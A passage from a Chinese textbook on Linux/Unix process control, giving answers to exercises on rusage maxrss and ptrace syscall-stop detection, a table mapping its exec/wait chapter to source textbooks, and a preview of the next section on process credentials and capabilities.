A4 ① 子进程尚未被 wait,RUSAGE_CHILDREN 只统计已回收的;② 子进程通过 exec 换成了新程序,maxrss 记录的是新程序的峰值,且某些内核/平台上 exec 后 maxrss 会被重置;③ 单位不同(macOS 是字节,Linux 是 KB),0 可能是解析或平台差异;④ 统计被 vfork/clone 的创建方式绕过。
A5 因为普通 SIGTRAP(比如断点、exec 后的初始停止)也会让 waitpid 返回 stopped。PTRACE_O_TRACESYSGOOD 让 syscall-stop 使用 SIGTRAP | 0x80 这个扩展信号号,从而与真正的断点区分开;不检查就会把断点当成系统调用边界,导致入口/出口计数错位。
母本对应
| 母本 | 章节 | 本书落点 | 程度 |
|---|---|---|---|
| K | 第 27 章 程序的执行 | 2.8.1–2.8.5 | 完整(execve、家族、fd、system) |
| K | 第 28 章 28.4(exec/fork 对属性的影响) | 2.8.1 | 完整(保留/重置清单) |
| K | 第 26 章 26.1.5–26.1.6(waitid、wait4) | 2.8.6 | 完整(siginfo_t、rusage) |
| C | 第 8 章 8.4 进程控制 | 2.8.1–2.8.4 | 完整(fork/exec/wait 组合) |
| C | 第 9 章 9.8 内存映射 | 2.8.1 | 背景(exec 丢弃映射) |
| O | 第 5 章 插叙:进程 API | 2.8.1、2.8.4 | 对照(fork/exec/wait 语义) |
| G | 第 16 章 程序管理与 SELinux 初探 | 2.8.6 | 背景(ps//proc 观测) |
| N | 第 3 章 内核如何与用户进程协作 | 2.8.7 | 背景(阻塞与唤醒,ptrace 属调试接口) |
下一站:2.9 进程凭证、用户、组与能力 回答「exec 之后你是谁」:真实/有效/保存 UID 如何决定权限,setuid 程序为什么要先降权再干活,capability 又如何把 root 的特权拆成可单独授予的位。